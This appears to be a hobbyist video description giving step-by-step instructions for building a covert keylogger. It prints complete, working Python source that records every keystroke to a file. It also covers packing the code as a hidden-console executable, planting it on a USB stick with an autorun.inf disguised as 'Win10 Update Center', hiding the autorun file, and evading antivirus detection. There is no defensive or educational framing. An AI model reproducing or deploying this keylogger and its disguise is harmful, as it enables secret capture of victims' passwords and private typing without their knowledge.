Big thanks to everyone for watching – in this video i actually made sure to cover “the basics” of making a key logger and putting it onto a regular USB stick – i didnt go too much into detail as the video was already too long – if you have requests for part 2 let me know ! Thanks again for watching and subscribing ! We reached 800 SUBS !! Big thanks !! Anyways lets get to it :
You need to install pynput:
> pip install pynput
Then
>convert to exe using pyinstaller (pyinstaller.exe clean.py –noconsole –onefile) (you can also use the icon tag if you have an .ico downloaded)
>put the exe on the USB
>set the autorun.inf , something like this:
[autorun]
open=programname.exe
icon=programname.exe,0
label=Win10 Update Center-So now that you’ve done that you can hide the autorun.inf file if you want to. If you want to make this undetectable just try using a different converter (py2exe instead of pyinstaller for example) – or try using a different module from pynput.
#PYthon code for a REALLY simple keylogger
import pynput.keyboard
class SimpleKeylogger:
def __init__(self):
self.logger = ""
def append_to_log(self, key_strike):
self.logger = self.logger + key_strike
with open("log.txt","a+",encoding="utf-8") as new_file:
new_file.write(self.logger)
#print(self.logger)
self.logger = ""
def evaluate_keys(self, key):
try:
Pressed_key = str(key.char)
except AttributeError:
if key == key.space:
Pressed_key = " "
else:
Pressed_key = " " + str(key) + " "
self.append_to_log(Pressed_key)
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.evaluate_keys)
with keyboard_listener:
self.logger = ""
keyboard_listener.join()
SimpleKeylogger().start()
-Thanks to everyone for watching/visiting and have a nice day ! If you have questions hit me up on discord or instagram, I usually answer pretty quick.